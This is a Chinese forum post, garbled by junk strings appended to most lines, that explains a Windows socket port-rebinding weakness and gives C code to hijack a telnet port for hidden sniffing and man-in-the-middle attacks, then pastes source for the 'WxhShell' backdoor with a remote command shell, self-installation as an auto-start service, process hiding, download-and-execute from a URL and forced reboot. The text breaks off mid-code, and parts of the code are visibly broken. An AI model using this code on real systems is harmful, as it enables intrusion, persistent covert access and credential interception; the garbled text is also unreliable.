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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )e#fj+>x)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i$g|?g~]  
NywB 3  
  saddr.sin_family = AF_INET; @],Z 2  
%pd5w~VP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _82<| NN:  
}[ 7Nb90v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [3GKPX:OA/  
57'q;I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1k0^6gE|  
|F3vRt@  
  这意味着什么?意味着可以进行如下的攻击: EP/&m|o|G  
f*UBigk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mi_[9ku>%  
`9]P/J^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jg7d7{{SB  
R A*(|n>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }FuVY><l  
DIL)7K4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "<7$2!  
YL; SxLY  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gCjH%=s  
U$MWsDn   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 27}.s0{D  
IJ+O),'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (*LTq C  
Rc;1Sm9\  
  #include B/kcb(5v  
  #include k*A4;Bm  
  #include `#-p,NElV  
  #include    4da ^d9ZOy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bEBZ!ghU  
  int main() x(exx )w  
  { :-W$PIBe  
  WORD wVersionRequested; _SU,f>  
  DWORD ret; yz54:q?  
  WSADATA wsaData; 2 rbX8Y  
  BOOL val; $Ui]hA-:?y  
  SOCKADDR_IN saddr; {"qW~S90YO  
  SOCKADDR_IN scaddr; /DgT1^&0  
  int err; D'U\]'.  
  SOCKET s; 0Og/47dO.2  
  SOCKET sc; m-Mhf;  
  int caddsize; e7)>U!9c9  
  HANDLE mt; NZC<m$')  
  DWORD tid;   ylo]`Nq  
  wVersionRequested = MAKEWORD( 2, 2 ); 3hp tP  
  err = WSAStartup( wVersionRequested, &wsaData ); N^nDWK  
  if ( err != 0 ) { M%nZu{  
  printf("error!WSAStartup failed!\n"); =|DkD- O  
  return -1; $D0)j(v  
  } _rWTw+ L  
  saddr.sin_family = AF_INET; #t5JUi%in*  
   L%=BCmMx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >?:i6&4o  
\`p|,j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fb;hf:B:  
  saddr.sin_port = htons(23); ?CL z@u~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4cv|ok8P  
  { M[&.kH  
  printf("error!socket failed!\n"); kiBOyC!r6  
  return -1; r;5 AY  
  } d@`-!"  
  val = TRUE; EHE6 -^F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }&'yt97+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l.Lc]ZpB  
  { <#J<QYF&2  
  printf("error!setsockopt failed!\n"); ZFd{q)qe   
  return -1; E(L^hZMc  
  } f(zuRM^5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N-_| %C-.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :;#c:RKi:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PT= 2LZ  
07E".T%Ts  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jw6ng>9  
  { ZS 7)(j$.  
  ret=GetLastError(); Hr_x~n=w  
  printf("error!bind failed!\n"); Av[|.~g  
  return -1; (kD?},Z  
  } 9EY_R&Yq%  
  listen(s,2); R?FtncL%D  
  while(1) >goAf`sqo  
  { LVz%$Cq,0  
  caddsize = sizeof(scaddr); *? orK o  
  //接受连接请求 kA->xjk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zzzi\5&gU  
  if(sc!=INVALID_SOCKET) 2* cKFv{  
  { {Rh+]=7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m'vOFP)'  
  if(mt==NULL) S@rsQ@PA  
  { =,1zl}PR  
  printf("Thread Creat Failed!\n"); r+WPQ`Ar  
  break; p>hCh5  
  } :8/M6-EK  
  } %PNm7s4x2  
  CloseHandle(mt); *1 eTf  
  } laIC}!  
  closesocket(s); x[h<3V"  
  WSACleanup(); ^[,1+WS%  
  return 0; 0.,&B5)  
  }   */@bNT9BgO  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]k%KTvX*G  
  { &JzF   
  SOCKET ss = (SOCKET)lpParam; rD)v%vvr&`  
  SOCKET sc; ur_"m+  
  unsigned char buf[4096]; x'PjP1  
  SOCKADDR_IN saddr; {;rpgc  
  long num; mJ#B<I'  
  DWORD val; [,V92-s;N  
  DWORD ret; x>/@Z6Wxz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;$&5I9N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   < EE+ S#z  
  saddr.sin_family = AF_INET; Jd_1>p  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k*+ZLrT  
  saddr.sin_port = htons(23); N`^W*>XB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) in|7ucSlg  
  { m##z  
  printf("error!socket failed!\n"); AG!a=ufc0  
  return -1; C4K&flk]  
  } Bwvc@(3v  
  val = 100; ]m,p3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kj"_Y"q=  
  { ,Onm!LI=  
  ret = GetLastError(); ]3cf}Au  
  return -1; [~%;E[ky$  
  } I&@@v\$*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Hu!>RSg,,2  
  { RJm8K,3#  
  ret = GetLastError(); %LaC$w_X  
  return -1; 5m;wMW<  
  } "4- Nnm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p%qL0   
  { hA19:H=7R0  
  printf("error!socket connect failed!\n"); ATkqzE`;  
  closesocket(sc); -m-WUox4"  
  closesocket(ss); CU M~*  
  return -1; JO$]t|I  
  } g5HqU2  
  while(1) ZuV  
  { s,q!(\{Pv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 GM92yi!8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r_CN/a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 VL1z$<vVXt  
  num = recv(ss,buf,4096,0); &3/H P)*<]  
  if(num>0) AR2+W^aM3  
  send(sc,buf,num,0); #FM 'S|  
  else if(num==0) s'w 0pZqj  
  break; O/"&?)[v  
  num = recv(sc,buf,4096,0); Bd[}A9O[  
  if(num>0) tHo/uW_~I  
  send(ss,buf,num,0); ?5M2DLh~  
  else if(num==0) FCAu%lvZT  
  break; +N!{(R:"v}  
  } T8oASg!  
  closesocket(ss); PQay sdb  
  closesocket(sc);  'Z}$V*  
  return 0 ; : s3Vl  
  } 5qko`r@#  
4<HJD&@V  
q+Q)IVaU81  
========================================================== 5jk4k c  
<C xet~x  
下边附上一个代码,,WXhSHELL <H#K`|Ag  
Fje%hcV  
========================================================== D/>5\da+y  
);LwWKa  
#include "stdafx.h" )9,"~P2[R  
8h 2?Q  
#include <stdio.h> 3E9j%sYk  
#include <string.h> l"#,O$x"#@  
#include <windows.h> 6Z=H>w  
#include <winsock2.h> ,B!Qv3bn  
#include <winsvc.h> - d6>  
#include <urlmon.h> jz0\F,s  
JASn\z  
#pragma comment (lib, "Ws2_32.lib") @e/dQ:Fb  
#pragma comment (lib, "urlmon.lib") E$ rSrT(  
{F[Xe_=#"  
#define MAX_USER   100 // 最大客户端连接数 F*H}5yBp_:  
#define BUF_SOCK   200 // sock buffer 9NAlgET  
#define KEY_BUFF   255 // 输入 buffer :4d7%q  
8&bj7w,K  
#define REBOOT     0   // 重启 tp&iOP6O  
#define SHUTDOWN   1   // 关机 ?i"FdpW  
i&KODhMpP  
#define DEF_PORT   5000 // 监听端口 ^DOcw@Z6HC  
zKr(Gt8  
#define REG_LEN     16   // 注册表键长度 7\ lb+^$  
#define SVC_LEN     80   // NT服务名长度 }vIm C [  
RCr:2 Iz  
// 从dll定义API m~A/.t%=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2} -W@R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c#Bde-dh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V"XN(Fd^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WDq3K/7\  
JZ [&:  
// wxhshell配置信息 3-5lO#&#  
struct WSCFG { Ns_d10rZ.  
  int ws_port;         // 监听端口 3IIlAzne;  
  char ws_passstr[REG_LEN]; // 口令 )g9qkQ8q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4(]k=c1<  
  char ws_regname[REG_LEN]; // 注册表键名 "-sz7}Mb  
  char ws_svcname[REG_LEN]; // 服务名 o\N}?Z,Kk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  T7`Jtqf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "fdG5|NJe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YuZnuI@m9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Coh &g_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t$J-6dW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RD^o&VXO  
4kiu*T  
}; ;A_QI>>  
js j" W&J  
// default Wxhshell configuration l; 4F,iI  
struct WSCFG wscfg={DEF_PORT, 4Bz~_   
    "xuhuanlingzhe", lz>hP  
    1, o9CB ,c7]  
    "Wxhshell", :BS`Q/<w  
    "Wxhshell", ,aeFEsi  
            "WxhShell Service", %PpB$  
    "Wrsky Windows CmdShell Service", \)bwdNWI  
    "Please Input Your Password: ", /D12N'VaE  
  1, DIY WFVh  
  "http://www.wrsky.com/wxhshell.exe", ?^5x d1>E  
  "Wxhshell.exe" &^Io\  
    }; V>hy5hDpH  
^t"\PpmK<d  
// 消息定义模块 8mi IlB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |<E%hf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 28-@Ga4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rfk';ph  
char *msg_ws_ext="\n\rExit."; yR&E6o.$z  
char *msg_ws_end="\n\rQuit."; F[lHG,g-  
char *msg_ws_boot="\n\rReboot..."; ppxu\a  
char *msg_ws_poff="\n\rShutdown..."; plca`  
char *msg_ws_down="\n\rSave to "; i<l)To-  
,,?t>|3  
char *msg_ws_err="\n\rErr!"; KF.?b]  
char *msg_ws_ok="\n\rOK!"; _\[Zr.y  
`'~|DG}a  
char ExeFile[MAX_PATH]; rl4-nA  
int nUser = 0; D,2,4h!ka  
HANDLE handles[MAX_USER]; =T1i(M#  
int OsIsNt; 7w9) ^  
[p(Y|~  
SERVICE_STATUS       serviceStatus; 8u>E(Vmpu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f@ySTz;u  
%9IM|\ulp  
// 函数声明 : "UBeo<Z  
int Install(void); j0Q ;OKu  
int Uninstall(void); I)6)~[:'  
int DownloadFile(char *sURL, SOCKET wsh); $ _ gMJ\{  
int Boot(int flag); "UE'd Wz  
void HideProc(void); 2D "mq~ V  
int GetOsVer(void); VBOq~>V6(v  
int Wxhshell(SOCKET wsl); zITXEorF!J  
void TalkWithClient(void *cs); KNV$9&Z  
int CmdShell(SOCKET sock); hNQ,U{`;^  
int StartFromService(void); X/?3ifP6I  
int StartWxhshell(LPSTR lpCmdLine); C; ! )<(Vw  
{1FY HM^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `74A'(u_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %hY+%^k.  
!x>P]j7A}Y  
// 数据结构和表定义 F$)Ki(m q  
SERVICE_TABLE_ENTRY DispatchTable[] = {W@Y4Qqq  
{ &0M^UvO  
{wscfg.ws_svcname, NTServiceMain}, WO]dWO6Mm  
{NULL, NULL} @n<WM@|l  
}; 4rv3D@E  
D9JT)a  
// 自我安装 d"$ \fL  
int Install(void) r3#H]c  
{ *K!V$8k=99  
  char svExeFile[MAX_PATH]; JI(8{ f  
  HKEY key; ~W!sxM5(*  
  strcpy(svExeFile,ExeFile); q W) ,)i  
&FGz53fd4  
// 如果是win9x系统,修改注册表设为自启动 C5F}*]E[y  
if(!OsIsNt) { Kx ';mgG#$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;[&g`%-H<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "#(]{MY  
  RegCloseKey(key);  Q9{%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aiea& aJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BB9Z?}  
  RegCloseKey(key); C)Mh  
  return 0; $KKrl  
    } 0/;T\9  
  } LDO@$jg  
} % `\8z  
else { om|M=/^  
gZ:)l@ Wu  
// 如果是NT以上系统,安装为系统服务 \3Ys8umKq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OE W IP  
if (schSCManager!=0) tvZpm@1  
{ {V,rWg  
  SC_HANDLE schService = CreateService ^2XoYgv  
  ( KR#Bj?fz-H  
  schSCManager, ^<7)w2ns  
  wscfg.ws_svcname, S-g`rTx  
  wscfg.ws_svcdisp, sLPFeibof5  
  SERVICE_ALL_ACCESS, xqX~nV#TB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d'J))-*#UO  
  SERVICE_AUTO_START, n"$D/XJO  
  SERVICE_ERROR_NORMAL, J8~3LE )G  
  svExeFile, U5%EQc-"P  
  NULL, Z'hW;^e%_z  
  NULL, t :sKvJ  
  NULL, c"v#d9  
  NULL, P%(pbG-X.  
  NULL w*OZ1|  
  ); JEGcZeq)  
  if (schService!=0) esWgYAc3{  
  { x/R|i%u-s  
  CloseServiceHandle(schService); A{Jv`K  
  CloseServiceHandle(schSCManager);  0'%R@|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rq<T2}K  
  strcat(svExeFile,wscfg.ws_svcname); _\1wLcFj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UXnd~DA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |U>BXX P  
  RegCloseKey(key); T1LtO O  
  return 0; 1ki##v[ W8  
    } !i2=zlpb[  
  } m&EwX ^1-  
  CloseServiceHandle(schSCManager); pg;agtI  
} TY],H=  
} !Z`~=n3bk  
[j`It4^nC  
return 1; H*?U@>UU  
} h)~KD%  
Ot`jjZ&  
// 自我卸载 :w_Zr5H]  
int Uninstall(void) !FX;QD@"  
{ t:9}~%~  
  HKEY key; P*BA  
K, WNM S  
if(!OsIsNt) { u I}S9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z AacX@  
  RegDeleteValue(key,wscfg.ws_regname); 6Y>MW 4q  
  RegCloseKey(key); @(,k%84z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ICN>8|O`&  
  RegDeleteValue(key,wscfg.ws_regname); 6@t4pML  
  RegCloseKey(key); . Zrt/;  
  return 0; \SHYwD}*Pr  
  } )!SVV~y  
} xa[<k >r3  
} h/ ?8F^C#v  
else { 5wmH3g#0  
rW0# 6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u-=S_e  
if (schSCManager!=0) O5CIK}A  
{ mnzamp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;cH|9m:Y  
  if (schService!=0) '>^+_|2  
  { 7[rn ,8@  
  if(DeleteService(schService)!=0) { Ek~Qp9B  
  CloseServiceHandle(schService); "WdGY*r  
  CloseServiceHandle(schSCManager); ID & Iz  
  return 0; AyB-+oTf(  
  } D}XyT/8G3  
  CloseServiceHandle(schService); 0?qXDO&~  
  } };o6|e:2E  
  CloseServiceHandle(schSCManager); q(M[ij  
} TG8QT\0G  
} 2f9~:.NgF  
^3B{|cqf  
return 1; &?IOrHSv!  
} _A|1_^[G(  
6a[D]46y,2  
// 从指定url下载文件  VT96ph  
int DownloadFile(char *sURL, SOCKET wsh) ]:(>r&'  
{ 'g$~ij ;x  
  HRESULT hr; 1_%jDMYH  
char seps[]= "/"; A)Wp W M  
char *token; []/=!?5B  
char *file; :0$(umW@I"  
char myURL[MAX_PATH]; Vy.A`Hz  
char myFILE[MAX_PATH]; 0 60<wjX6  
](a*R  
strcpy(myURL,sURL); X+)68  
  token=strtok(myURL,seps); M`Jj!  
  while(token!=NULL) $,otW2:)  
  { `e .;P  
    file=token; ;X<#y2`  
  token=strtok(NULL,seps); 0kS[`a(}J  
  } VJJGTkm  
EKZ40z`  
GetCurrentDirectory(MAX_PATH,myFILE); ny%-u &1k  
strcat(myFILE, "\\"); FiMP_ y*S  
strcat(myFILE, file); Idop!b5!  
  send(wsh,myFILE,strlen(myFILE),0); 7r 07N'  
send(wsh,"...",3,0); an={h,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m663%b(5>  
  if(hr==S_OK) REDh`Wd  
return 0; ]b4*`}\  
else /1:`?% ,2  
return 1; o)F^0t  
wcUf?`21,  
} I&Q.MItW  
 Q<B=m6~  
// 系统电源模块 G 5w:  
int Boot(int flag) vT"T*FKh:  
{ C9`#57Pp  
  HANDLE hToken; YdX#`  
  TOKEN_PRIVILEGES tkp; 3ddH@Y|  
Zm& X $U  
  if(OsIsNt) { }&sF \b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Lo _5r T"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  x9XQ  
    tkp.PrivilegeCount = 1; g+;m?VJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )%Z<9k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }+G6`Zd  
if(flag==REBOOT) { Q!(16  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |_/q0#"  
  return 0; { %X /w'|  
} -8;U1^#  
else { w^EAk(77  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uoR_/vol8  
  return 0; Tm~a& p  
} uq~$HXdc  
  } <3zA|  
  else { fa9c!xDt  
if(flag==REBOOT) { Jj4!O3\I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3<sYxA\?w  
  return 0; ,<s'/8Ik  
} ]+\;pb}bq  
else { 1^^<6e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p&~8N#I#  
  return 0; ]8FSs/4  
} B'"(qzE-kM  
} oG~a`9N%C  
d6,SZ*AE  
return 1; INqD(EG   
} Z~)Bh~^A  
hvCX,^LoJ  
// win9x进程隐藏模块 XM o#LS  
void HideProc(void) L]I ;{Y  
{ 5<h7+ %?t9  
I:M]#aFD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); " UaUaSg#  
  if ( hKernel != NULL ) @)=\q`vV  
  { fvnj:3RK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s<,[xkMB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :H($|$\h  
    FreeLibrary(hKernel); L5$r<t<  
  } ?IRp3H  
5%M 'ewu  
return; AX=$r]_  
} -DD2   
%GS^=Qr  
// 获取操作系统版本 {]Tb  
int GetOsVer(void) 1KwUp0% &  
{ bV c"'RQ  
  OSVERSIONINFO winfo; 2;X{ZLo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p2T<nP<Pt  
  GetVersionEx(&winfo); USBU?WDt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a&oz<4oT  
  return 1; vzDoF0Ts*p  
  else :: IAXGH)  
  return 0; ZH6#(;b  
} ^APPWQUl  
L[v-5u)  
// 客户端句柄模块 n:QFwwQ`Q;  
int Wxhshell(SOCKET wsl) fsd,q?{a:  
{ 7i(U?\A;.  
  SOCKET wsh; O#[+= ^  
  struct sockaddr_in client; ?+6w8j%\  
  DWORD myID; }EFMJ,NQ  
HCj/x<*F  
  while(nUser<MAX_USER) .CU~wB@h  
{ Y\#+-E  
  int nSize=sizeof(client); fd Vye|%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r(qAe{  
  if(wsh==INVALID_SOCKET) return 1; `*?8<Vm  
g+CTF67  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (H=7(  
if(handles[nUser]==0) 4q%hn3\  
  closesocket(wsh); H#P)n R M  
else H{&o_  
  nUser++; M? 7CBqZ  
  } f~bZTf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AH?T}t2  
#p<1@,  
  return 0; VE_%/Fs,  
} X0G Mly  
h7 uv0a~0  
// 关闭 socket _4!SO5T  
void CloseIt(SOCKET wsh) y]9PLch]vZ  
{ b \pjjb[  
closesocket(wsh); "l83O8 L  
nUser--; |q0MM^%"  
ExitThread(0); L p(6K  
} e G8Zn<:s  
X{8/]'(  
// 客户端请求句柄 ;{@jj0h;  
void TalkWithClient(void *cs) 7*{9 2_M  
{ KDt@Xi 6||  
j?eWh#[K"  
  SOCKET wsh=(SOCKET)cs; A4C4xts]N  
  char pwd[SVC_LEN]; ,2*^G;J1  
  char cmd[KEY_BUFF]; ]t4 9Efw  
char chr[1]; P:`tL)W_  
int i,j; D7'P^*4_B  
;c>Co:W  
  while (nUser < MAX_USER) { NTj:+z0  
, [ogh  
if(wscfg.ws_passstr) { fi/[(RBG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 627xR$U~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PA=.)8  
  //ZeroMemory(pwd,KEY_BUFF); /Ah|Po  
      i=0; d{~5tv- H  
  while(i<SVC_LEN) { >n`!S`)9{  
Gp<7i5  
  // 设置超时 OJ2O?Te8  
  fd_set FdRead; #5Zf6w  
  struct timeval TimeOut; GpW5)a  
  FD_ZERO(&FdRead); `63?FzT y  
  FD_SET(wsh,&FdRead); zmREzP#X  
  TimeOut.tv_sec=8; k1EAmA l  
  TimeOut.tv_usec=0; f,e7;u z%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =*ZQGM3w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !A5UT-  
!W^b:qjJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {95z\UE}  
  pwd=chr[0]; cqr4P`Oj  
  if(chr[0]==0xd || chr[0]==0xa) { Hg~O0p}[  
  pwd=0; #D{jNSB  
  break; ?<Tt1fpG  
  } 09_L^'`  
  i++; jK#[r[q{  
    } %J_`-\)"{~  
l1Zf#]x  
  // 如果是非法用户,关闭 socket #U46Au  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c[/h7!/aH  
} ZTq"SQ>ym  
kQr\ktN\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eyx;8v cM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {5ujKQOcR  
h{ &X`$  
while(1) { FwdRM)1)  
(sngq{*%%z  
  ZeroMemory(cmd,KEY_BUFF); 7y4!K$c$  
Anpx%NVo  
      // 自动支持客户端 telnet标准   /uTU*Oe  
  j=0; Sdc yL%6!  
  while(j<KEY_BUFF) { LD'eq\vO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~S\Ee 2e>  
  cmd[j]=chr[0]; qqm7p ,j  
  if(chr[0]==0xa || chr[0]==0xd) { HzW`j"\  
  cmd[j]=0; jKOjw#N  
  break; RJ#xq#l  
  } l7{Xy_66  
  j++; 5`$.GV  
    } p4 \r`  
Ab]`*h\U  
  // 下载文件 SA5 g~{"  
  if(strstr(cmd,"http://")) { yv.UNcP?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QzjLKjl7p4  
  if(DownloadFile(cmd,wsh)) X[ERlw1q4Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MX=mGfoa  
  else |<,!K;@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G0Q8"]  
  } xMk0Xf'_  
  else { $6BD6\@  
ryd*Ha">I  
    switch(cmd[0]) { =Q % F~  
  Ms^U`P^V~P  
  // 帮助 <2cl1Fb  
  case '?': { __}j {Buk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v&[Ff|>  
    break; hOI| #(-  
  } JEF2fro:Z  
  // 安装 "=7y6bM  
  case 'i': { UjNe0jt% s  
    if(Install())  V~V_+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MGH(= w1  
    else "Qf X&'09  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CJ*8x7-t  
    break; `0@onDQVc=  
    } HPGMR4=ANS  
  // 卸载 DKd:tL24&  
  case 'r': { SxC   
    if(Uninstall()) x|#R$^4CY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgLE/r?  
    else oDY $F%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d ] J5c  
    break; y{>d&M|  
    } 5iE-$,7#L  
  // 显示 wxhshell 所在路径 &|;XLRHP}  
  case 'p': { 3h:"-{MW.  
    char svExeFile[MAX_PATH]; 0dv# [  
    strcpy(svExeFile,"\n\r"); xPFNH`O&  
      strcat(svExeFile,ExeFile); OH2Xxr[bQ  
        send(wsh,svExeFile,strlen(svExeFile),0); 2s(c#$JVS  
    break; ; ^waUJ\Z  
    } 3)jFv7LAU  
  // 重启 _#6_7=g@s6  
  case 'b': { jf_xm=n  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <:[ P&Y  
    if(Boot(REBOOT)) RAw/Q$I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<_e{_ h  
    else { `)sC".b7  
    closesocket(wsh); inO)Y]|f  
    ExitThread(0); Czj]jA(0f  
    } E$B7E@(U  
    break; 7(RtPL pZ  
    } xign!=  
  // 关机 z8HOig?  
